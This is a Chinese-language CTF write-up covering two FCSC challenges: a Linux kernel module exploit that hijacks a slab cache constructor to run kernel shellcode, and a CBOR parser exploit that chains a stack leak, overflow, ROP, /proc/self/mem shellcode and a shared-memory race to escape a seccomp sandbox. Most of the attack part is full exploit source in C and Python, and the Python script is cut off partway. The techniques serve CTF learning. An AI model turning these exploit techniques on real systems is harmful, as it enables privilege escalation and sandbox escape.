kbase = arb_read(cache + 0x78, scratch, sfd1, sfd4, p4) - 0x10e1560;一次运行:
kbase = 0xffffffffa0400000到这里,内核函数地址都能通过kbase+offset算出来。
定位kmem_cache->ctor
接下来需要一个内核控制流入口。这里没有走modprobe_path,因为题目给的是网络echo通道,用户态触发再把输出带回来更绕。已经有AAR/AAW和kernel base,直接让内核shellcode读/flag.txt更短。
netsec这个custom cache创建时constructor参数是NULL:
kmem_cache_create("netsec", sizeof(struct sec_conn),
0, SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);Linux 6.18.7里struct kmem_cache相关字段顺序可以按源码和实际dump对上:
struct kmem_cache {
...
int refcount;
void (*ctor)(void *object);
unsigned int inuse;
unsigned int align;
unsigned int red_left_pad;
const char *name;
struct list_head list;
...
};dump本题的cache对象:
cache+0x050: 0x0000000000000000
cache+0x068: 0xffff8f348198abe8 -> "netsec"
cache+0x070: 0xffff8f348132c970
cache+0x078: 0xffffffffa70e1560 -> kbase + 0x10e1560 = slab_cachescache+0x68能读到字符串netsec,说明这里是name字段;cache+0x70/+0x78正好是后面的list_head;往前按字段顺序推,cache+0x50就是ctor,并且原值为0,也符合创建cache时传入NULLconstructor。
所以:
arb_write(cache + 0x50, &set_memory_x, 8);就是把netsec cache的constructor改成set_memory_x。
这里还有一个参数问题:为什么调用set_memory_x时参数可用?
SLUB在分配对象时,如果cache设置了constructor,会对新分配出来的object调用:
ctor(object);x86_64调用约定下,第一个参数放在rdi。因此把ctor改成set_memory_x后,下一次kmem_cache_alloc(cache)会以新对象地址作为rdi调用set_memory_x(object)。set_memory_x的接口本来是按页处理地址,传入slab对象内部地址也可以让对应页变成可执行。后面再把shellcode写到同一类slab页里,就能绕过NX执行。
触发shellcode
执行阶段分两轮:
1. cache->ctor = set_memory_x
2. 触发一次netsec cache分配
-> SLUB调用set_memory_x(object)
-> 对应slab页变成可执行
3. 再做一轮collision/UAF leak,拿到slab2_addr
4. cache->ctor = slab2_addr
5. AAW把shellcode写到slab2_addr
6. 再触发一次netsec cache分配
-> SLUB调用ctor(object)
-> RIP跳到slab2_addrshellcode做的事情很直接:
filp_open("/flag.txt", 0, 0x124)
kernel_read(file, flag_address, 0xff, 0)
cache->ctor = 0
retshellcode读出的内容放到heap_leak+0x200,路径字符串/flag.txt放到heap_leak+0x300。执行完后,用户态继续用AAR从flag_address一段一段读回来。
EXP
#include <netinet/tcp.h>
#include <stdint.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TARGET_PORT 1337
#define TARGET_IP "192.168.2.2"
#define LOCAL_IP inet_addr("192.168.2.1")
#define HASH(addr, port) (((addr >> 24) ^ (addr >> 16) ^ (addr >> 8) ^ (addr) ^ (port >> 8) ^ (port)) & 0xff)
#define CACHE_SIZE 0x20
#define KEY_SIZE CACHE_SIZE
#define ADDR(addr) ((uint8_t *)&addr)[0], ((uint8_t *)&addr)[1], ((uint8_t *)&addr)[2], ((uint8_t *)&addr)[3], ((uint8_t *)&addr)[4], ((uint8_t *)&addr)[5], ((uint8_t *)&addr)[6], ((uint8_t *)&addr)[7]
uint8_t in_key[KEY_SIZE];
struct sec_conn {
uint8_t *in_key;
uint8_t *out_key;
uint8_t *buf;
uint buf_len;
};
void crypto_kdf(uint8_t *key, size_t key_len, uint32_t seed) {
if (key) {
uint32_t state = seed * 0xdeadbeef + 0x12345;
for (int i = 0; i < (key_len / 4); i++) {
state ^= state << 13;
state ^= state >> 17;
state ^= state << 5;
((uint32_t *)key)[i] = state;
}
}
}
void crypto_xor(uint8_t *buf, size_t buf_len, uint8_t *key, size_t key_len) {
if (buf && key) {
for (int i = 0; i < buf_len; i++) {
buf[i] ^= key[i % key_len];
}
}
}
short get_collision(short port) {
int i = 2000;
int target_hash = HASH(LOCAL_IP, port);
while (HASH(LOCAL_IP, i) != target_hash)
i++;
return i;
}
void die(const char *msg) {
perror(msg);
exit(1);
}
void full_write(int fd, const void *buf, size_t len) {
const uint8_t *p = buf;
while (len) {
ssize_t n = write(fd, p, len);
if (n <= 0)
die("write");
p += n;
len -= n;
}
}
void full_read(int fd, void *buf, size_t len) {
uint8_t *p = buf;
while (len) {
ssize_t n = read(fd, p, len);
if (n <= 0)
die("read");
p += n;
len -= n;
}
}
void free_socket(int fd) {
shutdown(fd, SHUT_WR);
close(fd);
}
int open_tcp(short src_port) {
int sockfd;
struct sockaddr_in servaddr, cliaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1)
die("socket");
int one = 1;
if (setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
die("setsockopt TCP_NODELAY");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
die("setsockopt SO_REUSEADDR");
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(TARGET_IP);
servaddr.sin_port = htons(TARGET_PORT);
memset(&cliaddr, 0, sizeof(cliaddr));
cliaddr.sin_family = AF_INET;
cliaddr.sin_addr.s_addr = INADDR_ANY;
cliaddr.sin_port = htons(src_port);
if (bind(sockfd, (struct sockaddr *)&cliaddr, sizeof(cliaddr)) != 0)
die("bind");
if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0)
die("connect");
return sockfd;
}
void xor_payload(uint8_t *payload, size_t plen, short port) {
uint8_t out_key[KEY_SIZE];
crypto_kdf(out_key, KEY_SIZE, port);
crypto_xor(payload, plen, in_key, sizeof(in_key));
crypto_xor(payload, plen, out_key, sizeof(out_key));
}
uint64_t arb_read(uint64_t target, uint64_t dummy_addr, int sfd1, int sfd4, short p4) {
char buff_0x8[0x8];
struct sec_conn primitive;
primitive.in_key = 0;
primitive.out_key = (uint8_t *)target;
primitive.buf = (uint8_t *)dummy_addr;
primitive.buf_len = 0x20;
xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
full_write(sfd4, &primitive, sizeof(primitive));
sleep(1);
memset(buff_0x8, 0, sizeof(buff_0x8));
full_write(sfd1, buff_0x8, sizeof(buff_0x8));
full_read(sfd1, buff_0x8, sizeof(buff_0x8));
return *(uint64_t *)buff_0x8;
}
void arb_write(uint64_t target, uint8_t *data, size_t len, int sfd1, int sfd4, short p4) {
struct sec_conn primitive;
void *buff = malloc(len);
if (!buff)
die("malloc");
primitive.in_key = 0;
primitive.out_key = 0;
primitive.buf = (uint8_t *)target;
primitive.buf_len = len;
xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
full_write(sfd4, &primitive, sizeof(primitive));
sleep(1);
full_write(sfd1, data, len);
full_read(sfd1, buff, len);
free(buff);
}
int main(void) {
int sfd1, sfd2, sfd3, sfd4;
int p1, p2, p3, p4;
uint64_t heap_leak, slab_addr, in_key_addr, cache, kbase;
uint8_t buff_0x8[0x8], buff_0x20[0x20], buff_0x28[0x28];
setbuf(stdout, NULL);
crypto_kdf(in_key, KEY_SIZE, TARGET_PORT);
p1 = 1338;
p2 = get_collision(p1);
p3 = 1339;
p4 = 1340;
printf("[*] ports p1=%d p2=%d p3=%d p4=%d\n", p1, p2, p3, p4);
sfd1 = open_tcp(p1);
sfd2 = open_tcp(p2);
sfd3 = open_tcp(p3);
sfd4 = open_tcp(p4);
free_socket(sfd2);
memset(buff_0x28, 0, sizeof(buff_0x28));
full_write(sfd1, buff_0x28, sizeof(buff_0x28));
full_read(sfd1, buff_0x28, sizeof(buff_0x28));
crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));
heap_leak = ((uint64_t *)buff_0x28)[2];
slab_addr = heap_leak & ~0xfffUL;
printf("heap_leak = 0x%lx\n", heap_leak);
printf("slab_addr = 0x%lx\n", slab_addr);
uint8_t out_key[KEY_SIZE];
crypto_kdf(out_key, KEY_SIZE, p2);
((uint64_t *)out_key)[2] = heap_leak;
memset(buff_0x28, 0, sizeof(buff_0x28));
crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, KEY_SIZE);
crypto_xor(buff_0x28, sizeof(buff_0x28), out_key, KEY_SIZE);
full_write(sfd1, buff_0x28, sizeof(buff_0x28));
full_read(sfd1, buff_0x28, sizeof(buff_0x28));
sleep(1);
memset(buff_0x20, 0, sizeof(buff_0x20));
full_write(sfd3, buff_0x20, sizeof(buff_0x20));
in_key_addr = arb_read(slab_addr, heap_leak + 0x100, sfd1, sfd4, p4);
printf("in_key addr = 0x%lx\n", in_key_addr);
cache = arb_read(in_key_addr + 0x20, heap_leak + 0x100, sfd1, sfd4, p4);
printf("cache = 0x%lx\n", cache);
kbase = arb_read(cache + 0x78, heap_leak + 0x100, sfd1, sfd4, p4) - 0x10e1560;
printf("kbase = 0x%lx\n", kbase);
uint64_t set_memory_x = kbase + 0x002ba1a0;
arb_write(cache + 0x50, (uint8_t *)&set_memory_x, 8, sfd1, sfd4, p4);
open_tcp(p4 + 1);
sleep(1);
int stage2_fd1 = open_tcp(p4 + 2);
int stage2_fd2 = open_tcp(get_collision(p4 + 2));
open_tcp(p4 + 3);
free_socket(stage2_fd2);
memset(buff_0x28, 0, sizeof(buff_0x28));
full_write(stage2_fd1, buff_0x28, sizeof(buff_0x28));
full_read(stage2_fd1, buff_0x28, sizeof(buff_0x28));
crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));
uint64_t slab2_addr = ((uint64_t *)buff_0x28)[2] & ~0xfffUL;
printf("slab2_addr = 0x%lx\n", slab2_addr);
sleep(1);
arb_write(cache + 0x50, (uint8_t *)&slab2_addr, 8, sfd1, sfd4, p4);
arb_write(slab2_addr + 0x90, (uint8_t *)"\0\0\0\0\0\0\0\0", 8, sfd1, sfd4, p4);
uint64_t filp_open = kbase + 0x48e190;
uint64_t kernel_read = kbase + 0x490ab0;
uint64_t flag_address = heap_leak + 0x200;
uint64_t path_address = heap_leak + 0x300;
uint64_t ctor_address = cache + 0x50;
uint8_t shellcode[] = {
0x48, 0xB8, ADDR(filp_open), 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x48, 0x31, 0xF6, 0x48, 0xbf, ADDR(path_address), 0x90, 0x90, 0x90,
0x48, 0xC7, 0xC2, 0x24, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xC7, 0x90, 0x90, 0x90, 0x90,
0x48, 0xB8, ADDR(kernel_read), 0x48, 0x31, 0xD2, 0x80, 0xC2, 0xFF,
0x48, 0xbe, ADDR(flag_address), 0x48, 0x31, 0xC9, 0xff, 0xd0, 0x90,
0x48, 0xb8, ADDR(ctor_address), 0x48, 0xc7, 0x00, 0x00, 0x00, 0x00,
0x00, 0xc3
};
arb_write(path_address, (uint8_t *)"/flag.txt", 10, sfd1, sfd4, p4);
arb_write(slab2_addr, shellcode, sizeof(shellcode), sfd1, sfd4, p4);
sleep(1);
open_tcp(p4 + 4);
printf("flag address = 0x%lx\n", flag_address);
char flag[0x100] = {0};
for (uint64_t i = 0; i < sizeof(flag); i += 8) {
sleep(1);
uint64_t f = arb_read(flag_address + i, heap_leak + 0x100, sfd1, sfd4, p4);
memcpy(flag + i, &f, 8);
char *end = strchr(flag, '}');
if (end) {
*(end + 1) = '\0';
break;
}
}
printf("%s\n", flag);
return 0;
}Flag:
FCSC{d288f59a6f377d03a92e60d5eda85bfd820638160c1af1f0f965d106f7325151}Not So Boring
这题前半段是一个CBOR解析程序的栈leak和栈溢出,后半段是绕它自己写的sandbox。主线不是直接ROP拿shell,而是先在sandbox child里拿到执行能力,再利用child和supervisor parent之间的共享mailbox,把控制流打到没有seccomp的parent里。最后parent直接execve("/getflag", argv, NULL)。
boring本身Full RELRO、Canary、NX、PIE都开了。libsandbox.so是PIE,NX开了,但没有canary。这个信息的影响是:入口处必须先leak canary/PIE/libc;最后真正执行/getflag最好落到supervisor parent里,因为seccomp只装在child上。
Docker里的启动链也很关键:
socat tcp-listen:4000,reuseaddr,fork exec:'/usr/bin/timeout -k 121 120 /app/wrapper.sh'
wrapper.sh: LD_PRELOAD=/app/libsandbox.so /app/boringsocat exec启动出来的进程,它的stdin/stdout/stderr就是网络连接。libsandbox.so在constructor里fork(),parent跑supervisor,child继续执行boring并安装seccomp。fork以后parent和child都继承同一套fd,所以parent里read(0, ...)读到的就是远端继续发来的数据,parent里execve("/getflag", ...)以后/getflag的stdout也会回到socket。这是最终read(0, r12, 0x200)能成立的基础。
输入层两个洞
程序的player结构里,bytestring保存了长度和一个固定buf:
typedef struct {
size_t len;
char buf[256];
} bytestring_t;
typedef struct {
bytestring_t nickname;
bytestring_t email;
char speciality[64];
} player_t;extract_bytestring()保存的是CBOR里的原始长度,但实际最多只拷贝255字节:
dst->len = cbor_bytestring_length(val);
size_t copy = dst->len < sizeof(dst->buf) - 1
? dst->len : sizeof(dst->buf) - 1;
memcpy(dst->buf, cbor_bytestring_handle(val), copy);
dst->buf[copy] = '\0';打印时又用保存下来的len:
static void print_bytefield(const char *label, const char *buf, size_t len)
{
printf("- %s: ", label);
fwrite(buf, 1, len, stdout);
printf("\n");
}所以给一个很长的nickname,buf只填了前255字节,fwrite会继续把后面的栈内容打出来。最终用第10个player的nickname长度900,泄漏里这些偏移稳定:
canary = u64(leak[0x258:0x260])
pie = u64(leak[0x268:0x270]) - 0x1fee
libc = u64(leak[0x298:0x2a0]) - 0x29ca8第二个洞是email校验。代码本来想检查user和domain长度,但这里写成了&&:
if ((user_len == 0 || user_len >= sizeof user) &&
(domain_len == 0 || domain_len >= sizeof domain)) {
fprintf(stderr, "Error: invalid email format (user or domain too long)\n");
return -1;
}
memcpy(user, email->buf, user_len);
user[user_len] = '\0';只要domain是正常的teamfrance.ctf,第二半条件为假,于是超长user不会被拒绝。后面的memcpy(user, ...)直接溢出到返回地址。payload形式就是:
email = padding + canary + saved_rbp + rop + b"@teamfrance.ctf"这里还有个输入约束:ROP字节中不能提前出现0x40,否则memchr(email->buf, '@', email->len)会把它当成@。所以脚本里如果发现ROP payload含@,就断开重连等下一次ASLR。
先把child ROP扩出来
第一段email溢出空间不适合塞太长的ROP,先做一个短链,把后续stage读到.bss再pivot:
scratch = pie + 0x5a00
chain = call3_chain(libc, LIBC.sym["read"], 0, scratch, 0x1000)
chain += flat(libc + POP_RSP, scratch)后面要操作sandbox的IPC,需要知道两个全局:
ipc_mailbox_t *g_shm_mailbox;
int g_ipc_notify_pipe;一开始我按本地映射猜libsandbox和PIE的固定关系,这在Docker下不成立。稳定做法是在ROP里直接调用:
dlsym(NULL, "g_ipc_notify_pipe")
dlsym(NULL, "g_shm_mailbox")拿到符号地址后再write出来,就能得到:
g_ipc_notify_pipe的地址和内容,也就是child通知parent的pipe fd。g_shm_mailbox的地址和内容,也就是共享mailbox映射地址。libsandbox基址,等于g_shm_mailbox符号地址减静态偏移0x4110。
这个动态解析是必要的,不然Docker下很容易拿错libsandbox基址,后面jump table全错。
sandbox父子进程关系
libsandbox constructor大致是:
setup_ipc();
pipe(pipe_err);
pipe(pipe_notify);
pid = fork();
if (pid == 0) {
setenv("SANDBOX_ACTIVE", "1", 1);
close(pipe_err[0]);
close(pipe_notify[0]);
g_ipc_notify_pipe = pipe_notify[1];
g_error_pipe = pipe_err[1];
setup_seccomp();
return;
} else {
close(pipe_err[1]);
close(pipe_notify[1]);
run_supervisor(pid, pipe_err[0], pipe_notify[0]);
}child继续跑boring,并且装了seccomp。seccomp只允许这些比较有限的系统调用:
read, write, pwrite64, pread64,
open, openat,
brk,
exit, exit_groupparent跑run_supervisor(),没有seccomp。它poll两个fd:一个是seccomp error pipe,一个是IPC notify pipe。child里hook到system/execve/open/...时,会把请求写入共享mailbox,再写notify pipe叫醒parent。
mailbox结构是:
typedef struct {
int is_ready;
ipc_message_t message;
} ipc_mailbox_t;所以如果shm = g_shm_mailbox,真正传给handle_ipc_command()的msg地址就是shm+8。
用/proc/self/mem放shellcode
child被seccomp限制后不能mprotect,但它可以open和pwrite64。这题刚好允许打开/proc/self/mem,所以child ROP可以把shellcode写回自己的text段:
open("/proc/self/mem", O_RDWR)
pwrite64(fd, shellcode, len(shellcode), pie + 0x1230)
jmp pie + 0x1230写text段的目标地址选pie+0x1230,是因为这个位置在当前进程映射里可执行,覆盖后马上跳过去即可。到这里为止,执行代码的还是sandbox child;下一步要靠共享mailbox去影响parent。
mailbox race
源码里的handle_ipc_command()看上去只是一个switch:
void handle_ipc_command(ipc_message_t *msg) {
switch (msg->command) {
case CMD_SYSTEM:
LOG_CRIT("system('%s') attempted /!\\", msg->data.system.path);
break;
...
default:
LOG_CRIT("Command not supported. This should never happen!");
break;
}
}编译后关键部分是:
1771: cmp QWORD PTR [rdi],0x7
1775: ja 18e1
...
178a: mov rax,QWORD PTR [rdi]
178d: mov rbx,rdi
1790: movsxd rax,DWORD PTR [rdx+rax*4]
1794: add rax,rdx
1797: jmp rax先从msg->command读一次做范围检查,确认<=7。但真正查jump table前,它又重新从共享内存里读了一次msg->command。共享内存没有锁,child可以在这两个读之间把command从合法值改成大值。
跳转计算等价于:
target = jump_table + *(int32_t *)(jump_table + command * 4)我们不能直接写jump_table附近,但可以选一个command,让jump_table + command * 4落进共享的msg里面。最终选的是让读取位置落到msg+0x100:
ctrl = msg + 0x100
k = ((ctrl - jump_table) // 4) mod 2^64
*(uint32_t *)(msg+0x100) = gadget - jump_tableshellcode的race循环做两件事:
- 把
msg->command先写成合法的0,并把is_ready置1,写notify pipe通知parent。 - 等parent进入
handle_ipc_command()后,反复在0和k之间切换msg->command。
这不是确定性一次命中,所以脚本保留了两层重试:shellcode内部循环一直打同一个mailbox窗口,外层exploit失败就重连。调试时用puts("MARK")验证过Docker里确实能命中parent gadget;最终readrop路线在Docker proof里第0次连接就出了flag。实际比赛/本机调度不同的话,多跑几次是正常的。
parent gadget
最终用到的libc gadget是0x101cbd:
101cbd: xor edx,edx
101cbf: mov rax,QWORD PTR [rbx+0x38]
101cc3: mov rdi,QWORD PTR [rbx+0x18]
101cc7: lea rcx,[rbx+0x28]
101ccb: mov rsi,r12
101cce: mov edx,DWORD PTR [rax+rdx*1]
101cd1: call QWORD PTR [rbx+0x40]
...
101ce1: mov rdx,QWORD PTR [rsp+0xb8]
101ce9: sub rdx,QWORD PTR fs:0x28
101cf8: add rsp,0xc0
101cff: pop rbx
101d00: pop rbp
101d01: pop r12
101d03: pop r13
101d05: pop r14
101d07: ret进入这个gadget时,handle_ipc_command()已经把rbx设成了msg,所以:
rdi = *(msg+0x18)
rax = *(msg+0x38)
edx = *(uint32_t *)rax
call *(msg+0x40)rsi比较特殊,来自parent当前的r12,不是child能直接写的寄存器。这里刚好变成突破口。
supervisor循环里,编译后有:
1323: lea r12,[rsp+0x20]
...
135c: mov rdi,r12
135f: call poll@plt
...
13e1: add rdi,0x8
13e5: call handle_ipc_command@pltr12指向parent栈上的struct pollfd fds[2]。于是这个gadget最适合先打成:
read(0, r12, 0x200)mailbox里对应布局:
msg+0x18 = 0 # read的fd
msg+0x38 = msg+0xa0 # 一个可读地址
*(uint32_t *)(msg+0xa0)=0x200
msg+0x40 = read为什么fd 0是网络输入:Docker里socat exec把socket接到wrapper的stdin/stdout/stderr,wrapper -> boring -> libsandbox constructor fork整个链条都没有关闭0/1/2。fork后parent supervisor继承同一个fd 0,所以parent执行read(0, r12, 0x200)时,读到的就是exploit脚本在stage3后继续发来的栈payload。
parent栈payload的0x68和0x28
这个payload不是随便调的,需要看parent当前栈。
设supervisor循环中init_sandbox当前栈帧的局部变量基准为S。反汇编里:
1323: lea r12,[rsp+0x20]所以r12 = S + 0x20,也就是我们read开始覆盖的位置。
随后parent调用handle_ipc_command()。call本身压入返回地址,handle_ipc_command()又在范围检查后压了5个寄存器:
push r14
push r13
push r12
push rbp
push rbx因此跳入libc gadget时:
rsp = S - 0x30gadget里会做自己的stack canary检查:
mov rdx, [rsp+0xb8]
sub rdx, fs:0x28也就是检查地址:
(S - 0x30) + 0xb8 = S + 0x88而我们的写入起点是:
r12 = S + 0x20所以从写入起点到canary检查槽的距离是:
(S + 0x88) - (S + 0x20) = 0x68这就是payload前面的b"A"*0x68。canary用前面leak出来的值原样放回去。fork出来的parent和child共享同一个canary,所以child leak到的canary可以用于parent。
canary检查通过后,gadget执行:
add rsp,0xc0
pop rbx
pop rbp
pop r12
pop r13
pop r14
ret从rsp=S-0x30开始,add rsp,0xc0后变成S+0x90。接着5个pop消耗S+0x90到S+0xb0,最后ret取S+0xb8。
相对写入起点S+0x20,ret槽就是偏移:
(S + 0xb8) - (S + 0x20) = 0x98canary在偏移0x68,占8字节,到0x70。再填0x28字节,刚好把下一段ROP放到0x98:
return b"A" * 0x68 + p64(canary) + b"B" * 0x28 + ropROP本身很短:
execve("/getflag", ["/getflag", NULL], NULL)/getflag字符串和argv数组已经提前由child shellcode放在共享mailbox里:
msg+0x80 = "/getflag\x00"
msg+0x90 = msg+0x80
msg+0x98 = NULLparent执行execve后,新进程继承socket stdout,所以flag直接回到连接里。
为什么不是system("/getflag")
一开始走过system("/getflag")方向。本地能用system("echo OK")看到输出,但Docker里没有flag。这里不是race没打到,因为puts("MARK")已经证明parent gadget能命中,stdout也能回到socket。
真正差异在启动方式。本地调试常用:
ld-2.41.so --library-path ./bin --preload ./bin/libsandbox.so ./bin/boringDocker wrapper用的是:
LD_PRELOAD=/app/libsandbox.so /app/boringloader的--preload只影响当前exec,不会让后续system()拉起的/bin/sh继承同样的LD_PRELOAD。Docker wrapper设置的是环境变量,system()里的shell会继承它。shell执行/getflag时又加载libsandbox.so,execve被hook拦掉:
int execve(const char *pathname, char *const argv[], char *const envp[]) {
if (getenv("SANDBOX_ACTIVE")) {
ipc_message_t msg = { .command = CMD_EXECVE };
sandbox_send(&msg, sizeof(msg));
errno = EPERM;
return -1;
}
...
}所以最终不走shell,直接在parent ROP里调libc的execve。第三个参数传NULL,/getflag不需要环境变量,反而避免了LD_PRELOAD继承。
EXP
最终验证用的参数:
python3 exploit.py --remote 127.0.0.1:4016 --tries 30 --deadline 3 --start-delay 0 --valid-hold 8 --k-hold 8 --call-func readrop完整EXP如下:
from pwn import *
from pathlib import Path
import argparse
import time
context.arch = "amd64"
ROOT = Path(__file__).resolve().parent / "not-so-boring"
LIBC = ELF(str(ROOT / "bin/libc-2.41.so"), checksec=False)
POP_RDI = 0x2A145
POP_RSI = 0x2BAA9
POP_RDX = 0xB4BAA
POP_RAX = 0x43C43
POP_RSP = 0x285D8
POP_RCX_RBX = 0xE3CCE
STORE_RAX = 0x1203B6
LIBC_LEAK_OFF = 0x29CA8
RET_MAIN_AFTER_PROCESS = 0x1FEE
MAIN = 0x1F7A
BSS = 0x5A00
LIBSB_FROM_PIE = -0x7000
G_SHM_MAILBOX = 0x4110
G_NOTIFY_PIPE = 0x4104
JUMPTABLE = 0x22E4
PARENT_GADGET = 0x101CBD
def enc_len(major, n):
base = major << 5
if n < 24:
return bytes([base | n])
if n < 0x100:
return bytes([base | 24, n])
if n < 0x10000:
return bytes([base | 25]) + p16(n, endian="big")
if n < 0x100000000:
return bytes([base | 26]) + p32(n, endian="big")
return bytes([base | 27]) + p64(n, endian="big")
def uint(n):
return enc_len(0, n)
def bstr(b):
return enc_len(2, len(b)) + b
def tstr(s):
b = s.encode()
return enc_len(3, len(b)) + b
def arr(items):
return enc_len(4, len(items)) + b"".join(items)
def mp(pairs):
out = enc_len(5, len(pairs))
for k, v in pairs:
out += tstr(k) + v
return out
def player(nick=b"n", email=b"a@teamfrance.ctf", speciality="x"):
return mp([
("nickname", bstr(nick)),
("email", bstr(email)),
("speciality", tstr(speciality)),
])
def team(players, captain="c", year=2026):
return mp([
("year", uint(year)),
("captain", tstr(captain)),
("players", arr(players)),
])
def leak_payload(leak_len=900):
ps = [player(bytes([ord("A") + i])) for i in range(9)]
ps.append(player(b"L" * leak_len))
return team(ps)
def overflow_payload(canary, chain):
user = flat(
b"A" * 72,
canary,
0x4141414141414141,
chain,
)
if b"@" in user:
raise ValueError("ROP payload contains '@'; reconnect and retry")
email = user + b"@teamfrance.ctf"
return team([player(b"p", email, "x")])
def start(args):
if args.remote:
host, port = args.remote.split(":")
return remote(host, int(port))
return process([
"./bin/ld-2.41.so",
"--library-path", "./bin",
"--preload", "./bin/libsandbox.so",
"./bin/boring",
], cwd=str(ROOT))
def recv_prompt(io):
return io.recvuntil(b"Enter the team composition: ")
def parse_leak(data):
marker = b"Player #10:\n- Nickname: "
start = data.index(marker) + len(marker)
end = data.index(b"\n- Email:", start)
leak = data[start:end]
canary = u64(leak[0x258:0x260])
pie = u64(leak[0x268:0x270]) - RET_MAIN_AFTER_PROCESS
libc = u64(leak[0x298:0x2A0]) - LIBC_LEAK_OFF
return leak, canary, pie, libc
def syscall_chain(libc, n, a0=0, a1=0, a2=0):
return flat(
libc + POP_RDI, n,
libc + POP_RSI, a0,
libc + POP_RDX, a1,
libc + POP_RCX_RBX, a2, 0,
libc + LIBC.sym["syscall"],
)
def call3_chain(libc, func, a0=0, a1=0, a2=0):
return flat(
libc + POP_RDI, a0,
libc + POP_RSI, a1,
libc + POP_RDX, a2,
libc + func,
)
def resolve_globals_and_pivot(io, canary, pie, libc):
scratch = pie + BSS
sym_area = scratch + 0x300
addr_area = scratch + 0x380
stage2b_area = scratch + 0x500
final_stage_area = scratch + 0x900
chain = call3_chain(libc, LIBC.sym["read"], 0, scratch, 0x1000)
chain += flat(libc + POP_RSP, scratch)
recv_prompt(io)
io.send(overflow_payload(canary, chain))
stage2 = (
call3_chain(libc, LIBC.sym["dlsym"], 0, sym_area, 0)
+ flat(libc + POP_RDI, addr_area, libc + STORE_RAX)
+ call3_chain(libc, LIBC.sym["dlsym"], 0, sym_area + 0x20, 0)
+ flat(libc + POP_RDI, addr_area + 8, libc + STORE_RAX)
+ call3_chain(libc, LIBC.sym["write"], 1, addr_area, 0x10)
+ call3_chain(libc, LIBC.sym["read"], 0, stage2b_area, 0x400)
+ flat(libc + POP_RSP, stage2b_area)
)
syms = b"g_ipc_notify_pipe\x00".ljust(0x20, b"\x00")
syms += b"g_shm_mailbox\x00".ljust(0x20, b"\x00")
if len(stage2) > sym_area - scratch:
raise ValueError("stage2 overlaps dlsym strings")
io.send(stage2.ljust(sym_area - scratch, b"\x00") + syms)
addrs = io.recvn(0x10, timeout=2)
if len(addrs) != 0x10:
raise RuntimeError(f"short dlsym leak: {addrs!r}")
notify_addr = u64(addrs[:8])
shm_global_addr = u64(addrs[8:])
if notify_addr == 0 or shm_global_addr == 0:
raise RuntimeError(f"dlsym failed: notify={notify_addr:#x} shm_global={shm_global_addr:#x}")
stage2b = (
call3_chain(libc, LIBC.sym["write"], 1, notify_addr, 0x18)
+ call3_chain(libc, LIBC.sym["read"], 0, final_stage_area, 0x800)
+ flat(libc + POP_RSP, final_stage_area)
)
io.send(stage2b)
raw = io.recvn(0x18, timeout=2)
if len(raw) != 0x18:
raise RuntimeError(f"short globals leak: {raw!r}")
pipe_fd = u32(raw[:4])
shm = u64(raw[0xC:0x14])
libsb = shm_global_addr - G_SHM_MAILBOX
log.info(f"dlsym notify={notify_addr:#x} shm_global={shm_global_addr:#x}")
log.info(f"globals raw={raw.hex()}")
return libsb, pipe_fd, shm, final_stage_area
def make_shellcode(shm, pipe_fd, table, gadget, target_addr, second_arg, command, start_delay, valid_hold, k_hold, system_hold, oneshot, readrop=False):
msg = shm + 8
ctrl = msg + 0x100
if (ctrl - table) % 4:
raise ValueError("unaligned jump-table control slot")
k = ((ctrl - table) // 4) & ((1 << 64) - 1)
off = (gadget - table) & 0xFFFFFFFF
cmd = msg + 0x80
argv = msg + 0x90
zero = msg + 0xA0
command = command.encode()
if len(command) > 8:
raise ValueError("shellcode command string is limited to 8 bytes")
command_word = int.from_bytes(command.ljust(8, b"\x00"), "little")
def spin(name, count):
if count <= 0:
return ""
return f"""
mov r8d, {count}
{name}:
pause
dec r8d
jne {name}
"""
if oneshot:
race_body = f"""
mov qword ptr [r15], r13
{spin("k_spin", k_hold)}
system_forever:
cmp dword ptr [r9], 1
jne loop_start
pause
jmp system_forever
"""
else:
race_body = f"""
race_spin:
cmp dword ptr [r9], 1
jne loop_start
mov qword ptr [r15], 0
{spin("valid_spin", valid_hold)}
mov qword ptr [r15], r13
{spin("k_spin", k_hold)}
cmp dword ptr [r9], 1
jne loop_start
jmp race_spin
"""
call_arg0 = 0 if readrop else cmd
loaded_dword = 0x200 if readrop else 0
code = f"""
mov r15, {msg}
mov r14d, {pipe_fd}
mov r13, {k}
mov r12, {second_arg}
mov r11d, {off}
mov r10, {cmd}
mov r9, {shm}
mov qword ptr [r15+8], r10
mov dword ptr [r15+0x10], 1
mov qword ptr [r15+0x18], {call_arg0}
mov rax, {zero}
mov qword ptr [r15+0x38], rax
mov rax, {target_addr}
mov qword ptr [r15+0x40], rax
mov rax, {command_word}
mov qword ptr [r15+0x80], rax
mov byte ptr [r15+0x88], 0
mov qword ptr [r15+0x90], r10
mov qword ptr [r15+0x98], 0
mov qword ptr [r15+0xa0], {loaded_dword}
mov dword ptr [r15+0x100], r11d
loop_start:
cmp dword ptr [r9], 0
jne loop_start
mov qword ptr [r15], 0
mov qword ptr [r15+8], r10
mov dword ptr [r15+0x10], 1
mov qword ptr [r15+0x18], {call_arg0}
mov rax, {zero}
mov qword ptr [r15+0x38], rax
mov rax, {target_addr}
mov qword ptr [r15+0x40], rax
mov qword ptr [r15+0x90], r10
mov qword ptr [r15+0x98], 0
mov qword ptr [r15+0xa0], {loaded_dword}
mov dword ptr [r9], 1
mov eax, 1
mov edi, r14d
lea rsi, [r15+0x88]
mov edx, 1
syscall
start_delay:
cmp dword ptr [r9], 1
jne loop_start
{spin("start_delay_spin", start_delay)}
{race_body}
"""
return asm(code), k, off
